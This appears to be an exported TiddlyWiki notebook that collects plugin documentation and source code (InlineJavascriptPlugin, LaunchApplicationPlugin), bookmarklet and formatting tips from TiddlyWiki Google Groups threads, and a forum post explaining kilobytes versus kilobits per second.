To ensure that your javascript functions are always available when needed, you should load the libraries from a tiddler that will be rendered as soon as your TiddlyWiki document is opened.  For example, you could put your {{{<script src="..."></script>}}} syntax into a tiddler called LoadScripts, and then add {{{<<tiddler LoadScripts>>}}} in your MainMenu tiddler.

Since the MainMenu is always rendered immediately upon opening your document, the library will always be loaded before any other tiddlers that rely upon the functions it defines.  Loading an external javascript library does not produce any direct output in the tiddler, so these definitions should have no impact on the appearance of your MainMenu.

''Creating dynamic tiddler content''
An important difference between this implementation of embedded scripting and conventional embedded javascript techniques for web pages is the method used to produce output that is dynamically inserted into the document:
* In a typical web document, you use the document.write() function to output text sequences (often containing HTML tags) that are then rendered when the entire document is first loaded into the browser window.
* However, in a ~TiddlyWiki document, tiddlers (and other DOM elements) are created, deleted, and rendered "on-the-fly", so writing directly to the global 'document' object does not produce the results you want (i.e., replacing the embedded script within the tiddler content), and completely replaces the entire ~TiddlyWiki document in your browser window.
* To allow these scripts to work unmodified, the plugin automatically converts all occurences of document.write() so that the output is inserted into the tiddler content instead of replacing the entire ~TiddlyWiki document.

If your script does not use document.write() to create dynamically embedded content within a tiddler, your javascript can, as an alternative, explicitly return a text value that the plugin can then pass through the wikify() rendering engine to insert into the tiddler display.  For example, using {{{return "thistext"}}} will produce the same output as {{{document.write("thistext")}}}.

//Note: your script code is automatically 'wrapped' inside a function, {{{_out()}}}, so that any return value you provide can be correctly handled by the plugin and inserted into the tiddler.  To avoid unpredictable results (and possibly fatal execution errors), this function should never be redefined or called from ''within'' your script code.//

''Accessing the ~TiddlyWiki DOM''
The plugin provides one pre-defined variable, 'place', that is passed in to your javascript code so that it can have direct access to the containing DOM element into which the tiddler output is currently being rendered.

Access to this DOM element allows you to create scripts that can:
* vary their actions based upon the specific location in which they are embedded
* access 'tiddler-relative' information (use findContainingTiddler(place))
* perform direct DOM manipulations (when returning wikified text is not enough)
<<<
!!!!!Examples
<<<
an "alert" message box:
><script show>
	alert('InlineJavascriptPlugin: this is a demonstration message');
</script>
dynamic output:
><script show>
	return (new Date()).toString();
</script>
wikified dynamic output:
><script show>
	return "link to current user: [["+config.options.txtUserName+"]]";
</script>
dynamic output using 'place' to get size information for current tiddler:
><script show>
   if (!window.story) window.story=window;
   var title=story.findContainingTiddler(place).id.substr(7);
   return title+" is using "+store.getTiddlerText(title).length+" bytes";
</script>
creating an 'onclick' button/link that runs a script:
><script label="click here" title="clicking this link will show an 'alert' box" show>
   if (!window.story) window.story=window;
   alert("Hello World!\nlinktext='"+place.firstChild.data+"'\ntiddler='"+story.findContainingTiddler(place).id.substr(7)+"'");
</script>
loading a script from a source url:
>http://www.TiddlyTools.com/demo.js contains:
>>{{{function demo() { alert('this output is from demo(), defined in demo.js') } }}}
>>{{{alert('InlineJavascriptPlugin: demo.js has been loaded'); }}}
><script src="demo.js" show>
	return "loading demo.js..."
</script>
><script label="click to execute demo() function" show>
	demo()
</script>
<<<
!!!!!Installation
<<<
import (or copy/paste) the following tiddlers into your document:
''InlineJavascriptPlugin'' (tagged with <<tag systemConfig>>)
<<<
!!!!!Revision History
<<<
''2007.02.19 [1.6.0]'' added support for title="..." to specify mouseover tooltip when using an onclick (label="...") script
''2006.10.16 [1.5.2]'' add newline before closing '}' in 'function out_' wrapper.  Fixes error caused when last line of script is a comment.
''2006.06.01 [1.5.1]'' when calling wikify() on script return value, pass hightlightRegExp and tiddler params so macros that rely on these values can render properly
''2006.04.19 [1.5.0]'' added 'show' parameter to force display of javascript source code in tiddler output
''2006.01.05 [1.4.0]'' added support 'onclick' scripts.  When label="..." param is present, a button/link is created using the indicated label text, and the script is only executed when the button/link is clicked.  'place' value is set to match the clicked button/link element.
''2005.12.13 [1.3.1]'' when catching eval error in IE, e.description contains the error text, instead of e.toString().  Fixed error reporting so IE shows the correct response text.  Based on a suggestion by UdoBorkowski
''2005.11.09 [1.3.0]'' for 'inline' scripts (i.e., not scripts loaded with src="..."), automatically replace calls to 'document.write()' with 'place.innerHTML+=' so script output is directed into tiddler content.  Based on a suggestion by BradleyMeck
''2005.11.08 [1.2.0]'' handle loading of javascript from an external URL via src="..." syntax
''2005.11.08 [1.1.0]'' pass 'place' param into scripts to provide direct DOM access 
''2005.11.08 [1.0.0]'' initial release
<<<
!!!!!Credits
<<<
This feature was developed by EricShulman from [[ELS Design Studios|http:/www.elsdesign.com]]
<<<
!!!!!Code
***/
//{{{
version.extensions.inlineJavascript= {major: 1, minor: 6, revision: 0, date: new Date(2007,2,19)};

config.formatters.push( {
	name: "inlineJavascript",
	match: "\\<script",
	lookahead: "\\<script(?: src=\\\"((?:.|\\n)*?)\\\")?(?: label=\\\"((?:.|\\n)*?)\\\")?(?: title=\\\"((?:.|\\n)*?)\\\")?( show)?\\>((?:.|\\n)*?)\\</script\\>",

	handler: function(w) {
		var lookaheadRegExp = new RegExp(this.lookahead,"mg");
		lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			if (lookaheadMatch[1]) { // load a script library
				// make script tag, set src, add to body to execute, then remove for cleanup
				var script = document.createElement("script"); script.src = lookaheadMatch[1];
				document.body.appendChild(script); document.body.removeChild(script);
			}
			if (lookaheadMatch[5]) { // there is script code
				if (lookaheadMatch[4]) // show inline script code in tiddler output
					wikify("{{{\n"+lookaheadMatch[0]+"\n}}}\n",w.output);
				if (lookaheadMatch[2]) { // create a link to an 'onclick' script
					// add a link, define click handler, save code in link (pass 'place'), set link attributes
					var link=createTiddlyElement(w.output,"a",null,"tiddlyLinkExisting",lookaheadMatch[2]);
					link.onclick=function(){try{return(eval(this.code))}catch(e){alert(e.description?e.description:e.toString())}}
					link.code="function _out(place){"+lookaheadMatch[5]+"\n};_out(this);"
					link.setAttribute("title",lookaheadMatch[3]?lookaheadMatch[3]:"");
					link.setAttribute("href","javascript:;");
					link.style.cursor="pointer";
				}
				else { // run inline script code
					var code="function _out(place){"+lookaheadMatch[5]+"\n};_out(w.output);"
					code=code.replace(/document.write\(/gi,'place.innerHTML+=(');
					try { var out = eval(code); } catch(e) { out = e.description?e.description:e.toString(); }
					if (out && out.length) wikify(out,w.output,w.highlightRegExp,w.tiddler);
				}
			}
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
		}
	}
} )
//}}}
Each use of InlineJavascriptPlugin's label="..." syntax to create an
'onclick' link also creates a potential bookmarklet:
{{{
<script label="something">
   'onclick' code goes here
</script>
}}}
That's all it takes!  In addition to be using as the link's onclick
handler, the code in the script is automatically converted into a
"javascript:" URI that is set as the link's HREF, so that drag-and-
drop to the toolbar creates a bookmarklet in one step!

For example, to get the "toggle left/right sidebar" bookmarklets,
instead of using the links in [[InstantBookmarklets]], you could
simply drag the "<" and ">" links that are displayed **directly on the
TiddlyTools page**...

> Likewise the 3 bookmarklet examples of YourSearchPlugin,
> ImportTiddlersPlugin and JASH Javascriptshell Plugins - can be easily
> adapted to make Bookmarklets out of most plugins stored in external
> files from the TiddlyWiki.

This doesn't work for plugins that define wiki-syntax extensions (aka,
"formatters")... the core has already initialized the parser engine
long before any on-demand loading can add the new formatters.  This
includes NestedSlidersPlugin, CheckboxPlugin, InlineJavscriptPlugin,
and a few others.

Other plugins, especially those that hijack core functionality, may
also have problems (though some, like YourSearchPlugin, DO work when
loaded on demand).

> 1) function(){ refreshPageTemplate(); alert('YourSearchPlugin has been
> loaded.'); };
> 3) function(){ displayMessage('Javascript Shell has been loaded.'); };

> But with example 1) and 3) I would like to know, what's the difference
> in these plugins, so that one needs a refresh and an alert - while the
> other can do with a display only?

YourSearchPlugin hijacks (re-defines) the core's search handling
functionality.  When the plugin is loaded, it has to invoke
refreshPageTemplate() to re-render any existing "search" boxes
(usually displayed in the sidebar) so they will use the plugin-
enhanced search functions.

Normally, after loading a remote plugin, you would use
"displayMessage()" to give a little feedback to the user.  However,
for YourSearchPlugin, because refreshPageTemplate() is used, the
displayMessage() output gets "stepped on" and is not displayed...
using alert() ensures that feedback will appear, regardless of any
TiddlyWiki re-display events.

For consistency, I suppose you could use alert() instead of
displayMessage() in all the 'remote load' bookmarklets... but I prefer
to use the TiddlyWiki-styled messages whevever possible.

> PS: these InstantBookmarklets need InlineJavasriptPlugin - to work
> from within a TW only.

True... to emphasize: although InlineJavascriptPlugin is needed to
create an onclick link, once it has been saved to your browser's
toolbar as a bookmarklet, you do NOT need InlineJavascriptPlugin to
*use* the installed bookmarklets.

In addition, my technique for creating an onclick/bookmarklet link can
also be written *using pure HTML*... I will be writing up a FAQ on
this in the next few days... 

Source: [[InstantBookmarklets - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/0a6b583054fda2a3]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;Instructions>>

''There are 3 ways to get SideSnips into your Firefox sidebar.''
#The easy way is by clicking @@''«Load''@@ on the top menu. @@color:#C06;''NOTE: At last look Firefox 3 ~RC3 would not load sidebar using this method''@@
#Bookmark it then go to the bookmark, right click on it, and in the properties of the bookmark tick "Load this bookmark in the sidebar" Then click on the bookmark.
# The fastest loading (and you can customise it). Save it to your hard disk by going to ''Tools'' and click ''download''
##Open with Firefox and bookmark where you saved it.
##Go to the bookmark, right click on it, and in the properties of the bookmark tick "Load this bookmark in the sidebar" Then click on the bookmark.
----
More at:
#&nbsp;[[Setup TiddlySnips|Setup]]
#&nbsp;[[Help|Help]]
----

|bgcolor:#fcf;SideSnips was designed and built by Morris Gray the designer of [[TW Help|http://twhelp.tiddlyspot.com]] Please send inquiries here<<tiddler [[EmailTWHelp]]>>|


Review:http://developerreviewed.com/ironspeedreview.htm

[[Iron Speed Designer - Generated Application Features|http://www.ironspeed.com/products/Features.Application.aspx]]
> > Is there a way to prevent the ESC key from closing a tiddler?

> Try this simple plugin

A much simpler approach is to edit the ToolbarCommands "slice
table"...

First, find the slice named "EditToolbar".  Then, in the corresponding
value to the right, change the command keyword "-cancelTiddler" to
just "cancelTiddler" (i.e., remove the "-" prefix).  The "-" is what
binds the ESC key to that particular toolbar command.  You can even
move it to some other toolbar command if you like.  If no toolbar
command has a "-" prefix, then ESC does nothing. 

Source: [[Is there a way to block the ESC key, and/or map other keys? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2a55f2c529dea0e3]]
> Is there a generic way to "show all the custom fields that I've added,
> even if I forgot what I called them" for a list of tiddlers (e.g.,
> tiddlers tagged with "myTag")?

Try this inline script (requires TiddlyTools' InlineJavascriptPlugin):
{{{
<script>
        var out=[]; var fmt='| %0|%1|';
        var tids=store.getTaggedTiddlers('alpha');
        for (var i=0; i<tids.length; i++) {
                out.push(tids[i].title);
                for (var f in tids[i].fields) out.push(fmt.format([f,tids[i].fields
[f]]));
        }
        return out.join('\n');
</script>
}}}
enjoy,
-e
Eric Shulman 

Source: [[Is there a way to display custom fields without specifying fieldname? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/13e5a545fe6f8698?hl=en]]
I have a need to place 2 small tables side by side, instead of above
one another to save on vertical screen space. 

Source: [[Is there a way to place 2 tables side by side? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bd60d7d013697f0e#]]
{{liststyleimagenone underlineLink {
<<tiddlerList tags:jquery-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
!JavaScriptList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:javascript-ts order:-created itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
[[JsDoIt for TiddlyWiki 2.0.0 - click to execute Javascript|http://aiddlywiki.sourceforge.net/JsDoIt.html]]
JsDoIt macro

Source: [[JsDoIt macro - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/fa38329602c45097/23a16c1d7dae07a6?lnk=gst&q=make+button+out+of+script#23a16c1d7dae07a6]]
Kilo Bytes Per Second vs. Kilo Bits Per Second (KBps vs. kbps) - 12-29-2007, 04:14 AM
Well this post tries to clarify the confusion that many have regarding KBps and kbps (I was one too). If you read through this post it will make a lot of things clear.

Measure of file size: KBps
File size i.e. how big the file or how much space a file occupies in the hard disk measured in terms of KiloBytes (KB upper case “K” and upper case “B”). In computing terms the upper case “K” stands for 1024. 1024 is computed from 210. (2 power 10). 2 denote the number of characters in the binary system which is used to store data in the disc (ones and zeroes).
Other abbreviations like mega, giga and terra also use the base as 1024,

1KB (KiloByte) = 1024 Bytes (approximately 1000 Bytes)
1MB (MegaByte) = 1024 KB (approximately 1000 KiloBytes or 1 million Bytes)
1GB (GigaByte) = 1024 MB (approximately 1000 MegaBytes or 1 billion Bytes)
1TB (TerraByte) = 1024 GB (approximately 1000 GigaBytes or 1 trillion Bytes)

Measure of data transfer speeds: kbps
Data transfer speed over the networks (including the internet) is calculated in terms of bits per second: kilobits (kb small case “k” and small case “b”). The higher the kbps i.e. more the bits transferred per second, more the speed, faster the network/connection. Here k stands for 1000 (103 )

1 kbps (kilo bits per second) = 1000 bits per second
1 Mbps (mega bits per second) = 1000 kilo bits per second.
1 Gbps (giga bits per second) = 1,000 mega bits per second.

ISP bandwidth and download speeds
The most common confusion caused by the similarity of KBps and kbps is when it comes to internet bandwidth and download speeds. People often complain that their ISP promised 512kbps connectivity but they are seldom able to download any file at 512 KBps. They fail to notice the difference in cases of the units and hence think their ISP is cheating them or offering them poor quality service. As mentioned earlier data transfer speeds are always calculated in terms of kilo bits per second (kbps) so an ISP connectivity of 512 kbps promises of transfer of at the max 512 kilo bits per second.

On the other hand, file size measure is always in Kilo Bytes and thus download speeds are always calculated based on how many Bytes per second are downloaded and hence Kilo Bytes per second (KBps). KBps and kbps are not interchangeable.

So an internet connectivity of say 512kbps can never achieve a download speed of 512 KBps. To calculate the maximum download speed of a “X kbps” connection, we need to use a simple formula as below.

Download KBPS speed = (Kbps value*1000) /8)) / 1024.

I.e. For a connectivity of 512 kbps

kbps value * 1000 = 512 * 1000 = 512000

512000 / 8 = 64000

64000 / 1024 = 62.5 KBps

Therefore theoretically an internet connection of 512kbps bandwidth can download at a speed of 62.5 KBps

If you don’t want to go through all the hassles of the above formula, just multiply the kbps value with 0.1220703125 to get the KBps value.

512 kbps * 0.1220703125 = 62.5 KBps. Simple!

Internet connectivity Download speed (approx)
256 kbps 31.3 KBps
384 kbps 46.9 KBps
512 kbps 62.5 KBps
768 kbps 93.8 KBps
1 mbps ~ 1000kbps 122.1 KBps

I have mentioned download speed as approximate because they will vary (always reduce) by 15 – 20% due to network signal loss, computer hardware overheads etc. So for realistic, real world figures always reduce 15 – 20% from the computed KBPS download speeds
Now I guess the confusion of kbps and KBps has cleared away. Just remember when you talk in terms of network it’s always bites per second (bps) and when you talk in terms of storage and files its always Bytes per second (Bps). And next time you won’t complain when your 512 kbps connection does not give you download speeds of 512KBps because now you know why

Source: [[Kilo Bytes Per Second vs. Kilo Bits Per Second (KBps vs. kbps) - TAMIL TORRENTS|http://www.tamiltorrents.net/forums/showthread.php?t=30078]]
config.messages.tiddlerLinkTooltip = ""; 
In any event, in response to Jeremy's request, I've updated
SearchOptionsPlugin so that, by default, rather than generating and
displaying a [[SearchResults]] *tiddler*, it now renders the report
output directly into a special DIV at the top of the story column
(i.e., the same behavior as Fred's SimpleSearchPlugin). 

Source: [[Launch of updated TiddlyWiki.com - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/db782480e480f536/7dd5e60f826b47e0#7dd5e60f826b47e0]]
/***
|''Name:''|LaunchApplicationPlugin|
|''Author:''|Lyall Pearce|
|''Source:''|http://www.Remotely-Helpful.com/TiddlyWiki/LaunchApplication.html|
|''License:''|[[Creative Commons Attribution-Share Alike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''Version:''|1.4.0|
|''~CoreVersion:''|2.3.0|
|''Requires:''| |
|''Overrides:''| |
|''Description:''|Launch an application from within TiddlyWiki using a button|
!!!!!Usage
<<<
{{{<<LaunchApplication "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
{{{<<LaunchApplicationButton "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
{{{<<LaunchApplicationLink "buttonLabel" "tooltip" "application" ["arguments" ...]>>}}}
* buttonLabel is anything you like
* tooltip is anything you like
* application is a path to the executable (which is Operating System dependant)
* arguments is any command line arguments the application requires.
* You must supply relative path from the location of the TiddlyWiki OR a fully qualified path
* Forward slashes works fine for Windows

{{{<<LaunchApplication...>>}}} functions the same as {{{<<LaunchApplicationButton...>>}}}

eg.

{{{
<<LaunchApplicationButton "Emacs" "Linux Emacs" "file:///usr/bin/emacs">>
}}}
<<LaunchApplicationButton "Emacs" "Linux Emacs" "file:///usr/bin/emacs">>

{{{
<<LaunchApplicationLink "LocalProgram" "Program relative to Tiddly html file" "localDir/bin/emacs">>
}}}
<<LaunchApplicationLink "LocalProgram" "Program relative to Tiddly html file" "localDir/bin/emacs">>
					     
{{{
<<LaunchApplicationButton "Open Notepad" "Text Editing" "file:///e:/Windows/notepad.exe">>
}}}
<<LaunchApplicationButton "Open Notepad" "Text Editing" "file:///e:/Windows/notepad.exe">>

{{{
<<LaunchApplicationLink "C Drive" "Folder" "file:///c:/">>
}}}
<<LaunchApplicationLink "C Drive" "Folder" "file:///c:/">>


!!!!!Revision History
* 1.1.0 - leveraged some tweaks from from Bradly Meck's version (http://bradleymeck.tiddlyspot.com/#LaunchApplicationPlugin) and the example text.
* 1.2.0 - Make launching work in Linux too and use displayMessage() to give diagnostics/status info.
* 1.3.0 - execute programs relative to TiddlyWiki html file plus fix to args for firefox.
* 1.3.1 - parameters to the macro are properly parsed, allowing dynamic paramters using {{{ {{javascript}} }}} notation.
* 1.4.0 - updated core version and fixed empty tooltip and added launch link capability

<<<
***/
//{{{
version.extensions.LaunchApplication = {major: 1, minor: 4, revision: 0, date: new Date(2007,12,29)};
config.macros.LaunchApplication = {};
config.macros.LaunchApplicationButton = {};
config.macros.LaunchApplicationLink = {};

function LaunchApplication(appToLaunch,appParams) {
    if(! appToLaunch)
	return;
    var tiddlyBaseDir = self.location.pathname.substring(0,self.location.pathname.lastIndexOf("\\")+1);
    if(!tiddlyBaseDir || tiddlyBaseDir == "") {
	tiddlyBaseDir = self.location.pathname.substring(0,self.location.pathname.lastIndexOf("/")+1);
    }
    // if Returns with a leading slash, we don't want that.
    if(tiddlyBaseDir.substring(0,1) == "/") {
	tiddlyBaseDir = tiddlyBaseDir.substring(1);
    }
    if(appToLaunch.indexOf("file:///") == 0) // windows would have C:\ as the resulting file
    {
	tiddlyBaseDir = "";
	appToLaunch = appToLaunch.substring(8);
    }

    if (config.browser.isIE) {
	// want where the tiddly is actually located, excluding tiddly html file

	var theShell = new ActiveXObject("WScript.Shell");
	if(theShell) {
            // the app name may have a directory component, need that too
	    // as we want to start with current working dir as the location
	    // of the app.
	    var appDir = appToLaunch.substring(0, appToLaunch.lastIndexOf("\\"));
	    if(! appDir || appDir == "") {
		appDir = appToLaunch.substring(0, appToLaunch.lastIndexOf("/"));
	    }
	    appParams = appParams.length > 0 ? " \""+appParams.join("\" \"")+"\"" : "";
	    try {
		theShell.CurrentDirectory = decodeURI(tiddlyBaseDir + appDir);
		var commandString = ('"' +decodeURI(tiddlyBaseDir+appToLaunch) + '" ' + appParams);
		pluginInfo.log.push(commandString);
	        theShell.run(commandString);
	    } catch (e) {
		displayMessage("LaunchApplication cannot locate/execute file '"+tiddlyBaseDir+appToLaunch+"'");
		return;
	    }
	} else {
	    displayMessage("LaunchApplication failed to create ActiveX component WScript.Shell");
	}
    } else { // Not IE
	// want where the tiddly is actually located, excluding tiddly html file
	netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
        var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
        var launchString;
	try { // try linux/unix format
            launchString = decodeURI(tiddlyBaseDir+appToLaunch);
	    file.initWithPath(launchString);
	} catch (e) {
	    try { // leading slash on tiddlyBaseDir
                launchString = decodeURI("/"+tiddlyBaseDir+appToLaunch);
		file.initWithPath(launchString);
	    } catch (e) {
		try { // try windows format
		    launchString = decodeURI(appToLaunch).replace(/\//g,"\\");
		    file.initWithPath(launchString);
		} catch (e) {
		    try { // try windows format
			launchString = decodeURI(tiddlyBaseDir+appToLaunch).replace(/\//g,"\\");
			file.initWithPath(launchString);
		    } catch (e) {
			displayMessage("LaunchApplication cannot locate file '"+launchString+"' : "+e);
			return;
		    } // try windows mode
		} // try windows mode
	    }; // try with leading slash in tiddlyBaseDir
	}; // try linux/unix mode
	try {
	    if (file.isFile() && file.isExecutable()) {
		displayMessage("LaunchApplication executing '"+launchString+"' "+appParams.join(" "));
		var process = Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);
		process.init(file);
		process.run(false, appParams, appParams.length);
	    }
	    else
	    {
		displayMessage("LaunchApplication launching '"+launchString+"' "+appParams.join(" "));
		file.launch(); // No args available with this option
	    }
	} catch (e) {
	    displayMessage("LaunchApplication cannot execute/launch file '"+launchString+"'");
	}
    }
};

config.macros.LaunchApplication.handler = function (place,macroName,params,wikifier,paramString,tiddler) {
    // 0=ButtonText, 1=toolTip, 2=AppToLaunch, 3...AppParameters
    if (params[0] && (params[1] || params[1] == "") && params[2]) {
        var theButton = createTiddlyButton(place, getParam(params,"buttonText",params[0]), getParam(params,"toolTip",params[1]), onClickLaunchApplication);
        theButton.setAttribute("appToLaunch", getParam(params,"appToLaunch",params[2]));
        params.splice(0,3);
        theButton.setAttribute("appParameters", params.join(" "));
        return;
    }
}
config.macros.LaunchApplicationButton.handler = function (place,macroName,params,wikifier,paramString,tiddler) {
    config.macros.LaunchApplication.handler (place,macroName,params,wikifier,paramString,tiddler);
}

config.macros.LaunchApplicationLink.handler = function (place,macroName,params,wikifier,paramString,tiddler) {
    // 0=ButtonText, 1=toolTip, 2=AppToLaunch, 3...AppParameters
    if (params[0] && (params[1] || params[1] == "") && params[2]) {
        //var theLink = createExternalLink(place, getParam(params,"buttonText",params[0]));
        var theLink = createTiddlyButton(place, getParam(params,"buttonText",params[0]), getParam(params,"toolTip",params[1]), onClickLaunchApplication,"link");
        theLink.setAttribute("appToLaunch", getParam(params,"appToLaunch",params[2]));
        params.splice(0,3);
        theLink.setAttribute("appParameters", params.join(" "));
        return;
    }
}

function onClickLaunchApplication(e) {
	var theAppToLaunch = this.getAttribute("appToLaunch");
	var theAppParams = this.getAttribute("appParameters").readMacroParams();
	LaunchApplication(theAppToLaunch,theAppParams);
}

//}}}
Oh, that's cool.  For those interested in trying this with the
copy / paste method, it's almost trivial.  Here's what I did:

* Create tiddler called ListNavMacro
** Copy into ListNavMacro the entire contents of
http://svn.tiddlywiki.org/Trunk/contributors/FND/plugins/ListNavMacro.js
** tag ListNavMacro with systemConfig.
* Create tiddler called listnav
** Copy into listnav the entire contents of http://www.ihwy.com/Labs/jquery-listnav-plugin.aspx
** tag listnav with systemConfig
* Save and reload.

Open ListNavMacro and the example works.  It's beautiful guys!
-Paul 

Source: [[Leveraging jQuery and jQuery plugins in TiddlyWiki - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/61cf0e3f962d795d]]
You can do this with a one-line "systemConfig" tiddler (aka, plugin)
that dynamically sets the DefaultTiddlers *shadow* tiddler each time
the document is loaded:

Start by creating a tiddler (e.g., [[DefaultTiddlersTweak]])
containing the following line of javascript code:
{{{
------------
config.shadowTiddlers.DefaultTiddlers=new Date().formatString("0DD-MMM-
YYYY");
------------
}}}
Then, make sure to remove any existing [[DefaultTiddlers]] tiddler
definition so that the next time you open your document, it will use
the shadow [[DefaultTiddlers]] definition (which has already been set
by the one-line plugin code, above. 

Source: [[Link to Current Date - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/991885b303b11360/5ca500699fa44bb8?lnk=gst&q=defaulttiddlers#5ca500699fa44bb8]]
I don't think there's a way to jump from a link in one tiddler tag to
a specific place in another tiddler. TiddlyWiki sees the # as a
permalink.  However you can jump from anchors within a tiddler itself
using HTML Anchor Tag and the Name Attribute
{{{
<html><hide linebreaks><UL>
<LI><a HREF="#xmas">Christmas Food</a></LI>
<LI><a HREF="#KFC">KFC</a></LI>
<LI><a HREF="#choc">Chocolate</a></LI>
</UL></html>

Then in the body of the tiddler, in the appropriate places, put the
Name
<html><A  NAME="KFC">''KFC''</A></html>
etc
<html><A NAME="choc">''chocolate!''</A></html>
etc
<html><A NAME="xmas">''Christmas Food''</A></html>
}}}
Of course I always use http://tiddlytools.com/#HTMLFormattingPlugin to
allow many HTML tricks in TiddlyWiki

A horizontal line (across a tiddler) is achieved with four hyphens
against the far left margin
----
And you can tweak its look with CSS in StyleSheet

.viewer hr {    border:0px;border-top: solid 1px #c06;  color: #c06;width:
100%;} 

Source: [[Linking to the middle of the page - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/be1a9b9243b437ad]]
> I don't think I understand how this can be used to duplicate the HTML
> anchor syntax.  It talks about a transcluded tiddler, does it require
> more than one tiddler to work? Could you give an actual working
> example?

In addition to enhancing the <<tiddler>> macro, CoreTweaks #784
extends the handling for the TiddlyLink and PrettyTiddlyLink syntax.
Just write your link as usual, and simply append the desired
"##sectionname" following the TiddlerName.  If you omit the
TiddlerName (i.e., enter *only* "##sectionname"), it will be treated
as a link to a section within the current tiddler.

##sectionname OR
   [[Linking to the middle of the page update|##sectionname]]
      looks like: ##sectionname
      links to: section within current tiddler
   [[display text|##sectionname]]
      looks like: display text
      links to: section within current tiddler
   SomeTiddler##sectionname OR
   [[SomeTiddler##sectionname]]
      looks like: SomeTiddler##sectionname
      links to: section within named tiddler
   [[display text|SomeTiddler##sectionname]]
      looks like: display text
      links to: section within named tiddler

As always, defining a section name within a tiddler uses the "!"
heading format, like this:

and the section content continues until the next "!" heading format is
found (or the end of the tiddler is reached).  Note: you can use any
heading format (H1="!" through H5="!!!!!")

If you use a 'section link' that refers to a non-existent section, the
"##sectionname" suffix is ignored and the normal TW link handling
behavior occurs (i.e., the page scrolls to the top of the linked
tiddler).
!sectionname
Note: the tweak also extends the core's internal story.displayTiddler
() function, so *ANY* core- or plugin-defined code that displays a
tiddler can use the extended 'section link' syntax... "for
free" (i.e., without needing any code changes).  For example, here's a
permalink that opens TiddlyTools' CoreTweaks *and* scrolls directly to
the heading for the 784 tweak:
!end
http://www.TiddlyTools.com/#CoreTweaks##784 

Source: [[Linking to the middle of the page - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/be1a9b9243b437ad]]
> Are there any TW tools available to create hotspot links to a tiddler
> off an image.

There is actually a native HTML 'image map' syntax that can be used to
create 'hotspots' that are linked to URLs (href) or invoke javascript
(onclick), like this:
{{{
<html>
<img src="..." usemap=#mapname>
<map name="mapname">
   <area shape="poly" coords="x1,y1,x2,y2,..."
      href="..." onclick="...">
   <area shape="poly" coords="x1,y1,x2,y2,..."
      href="..." onclick="...">
   <area shape="poly" coords="x1,y1,x2,y2,..."
      href="..." onclick="...">
</map>
</html>
}}}
Of course, this syntax isn't very user-friendly.... so, I've created a
new plugin:

   http://www.TiddlyTools.com/#ImageMapPlugin

which makes it easier to define and apply a set of "polygon
coordinates" to any embedded image, like this:
{{{
   [img[...]]<<imageMap MapName>>
}}}
where MapName is the title of a tiddler (or tiddler section)
containing an 'HR-separated' list of items. The first line of each
item is the title of a tiddler to link to. The second line is a comma-
separated list of 'polygon coordinates' using standard HTML map {{{<AREA
COORDS="..."> }}}syntax (e.g., a series of X,Y pairs:
"x1,y1,x2,y2,x3,y3,...", that trace out the desired shape).

Until I can write a TiddlyWiki-native interactive 'image map editor',
you'll need to use a 3rd-party utility app to generate the lists of
coordinate values and then copy/paste those values into the HR-
separated tiddler.  Just do a search for "image map editor" and pick
one. 

Source: [[Linking to tiddlers from hotspot on image - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/be38879777155563#]]
I've been trying to insert links in a tiddler that open a specific
topic in a windows compiled help file (*.chm).
(Useful while writing notes as I learn new software)

I got it to work in Firefox (winXP) so I thought I'd share it.

1) Install the CHMReader (http://sourceforge.net/projects/chmreader/)
extension from the mozilla addons (https://addons.mozilla.org/en-US/
firefox/addon/3235).

2) In Firefox open the help file with ''File | Open CHM Files''. Open
the chm file index with ''View | Sidebar | CHM Reader'' if desired and
navigate to the desired topic.
Copy the the URL from the location bar and insert in a tiddler as
follows
[[test chm|chm:file://C:\myhelpfiledir\myhelpfile.chm!/mytopic.htm]]

Clicking on the link will open the topic in a new tab using the
CHMReader.

hope this is useful
Elfnor 

Source: [[Links to individual topics in chm files (howto in firefox) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e4bb6f1734b8cfe6]]
If you're using TiddlyWiki as your note-taking tool, you ought to give TiddlySnip a try. The idea behind this Firefox extension is simple: it allows you to add the currently viewed Web page or selected text snippet to your TiddlyWiki as a new tiddler. But TiddlySnip adds a few clever twists to this basic idea, which turn the Firefox/TiddlyWiki combo into a powerful and extremely useful tool.

TiddlySnip installs as a conventional Firefox extension, but you need to point it to your TiddlyWiki file to make it work. To do this, choose Tools -> TiddlySnip Preferences. In the Preferences dialog window, switch to the General tab and enter the path to the TiddlyWiki file in the File Location field.

